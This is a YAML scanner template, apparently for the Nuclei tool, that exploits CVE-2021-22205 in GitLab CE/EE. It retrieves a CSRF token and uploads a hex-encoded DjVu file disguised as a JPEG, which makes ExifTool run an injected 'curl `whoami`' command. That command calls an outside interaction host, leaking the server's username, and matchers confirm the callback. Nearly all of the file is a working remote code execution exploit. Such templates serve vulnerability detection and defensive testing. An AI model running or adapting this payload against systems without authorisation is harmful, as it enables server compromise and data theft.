id: gitlab-rce

info:
  name: GitLab CE/EE Unauthenticated RCE using ExifTool
  author: pdteam
  severity: critical
  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
  reference:
    - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
    - https://hackerone.com/reports/1154542
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.90
    cve-id: CVE-2021-22205
    cwe-id: CWE-20
  tags: cve,cve2021,gitlab,rce,oast,intrusive

requests:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /uploads/user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
        X-CSRF-Token: {{csrf-token}}

        {{hex_decode('0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358350D0A436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22746573742E6A7067220D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A0D0A41542654464F524D000003AF444A564D4449524D0000002E81000200000046000000ACFFFFDEBF992021C8914EEB0C071FD2DA88E86BE6440F2C7102EE49D36E95BDA2C3223F464F524D0000005E444A5655494E464F0000000A00080008180064001600494E434C0000000F7368617265645F616E6E6F2E696666004247343400000011004A0102000800088AE6E1B137D97F2A89004247343400000004010FF99F4247343400000002020A464F524D00000307444A5649414E546100000150286D657461646174610A0928436F7079726967687420225C0A22202E2071787B')}}curl `whoami`.{{interactsh-url}}{{hex_decode('7D202E205C0A2220622022292029202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200A0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358352D2D0D0A')}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Failed to process image'

      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 422

    extractors:
      - type: regex
        name: csrf-token
        internal: true
        group: 1
        regex:
          - 'csrf-token" content="(.*?)" />\n\n<meta'

      - type: regex
        name: whoami
        part: interactsh_request
        group: 1
        regex:
          - '([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z]+)'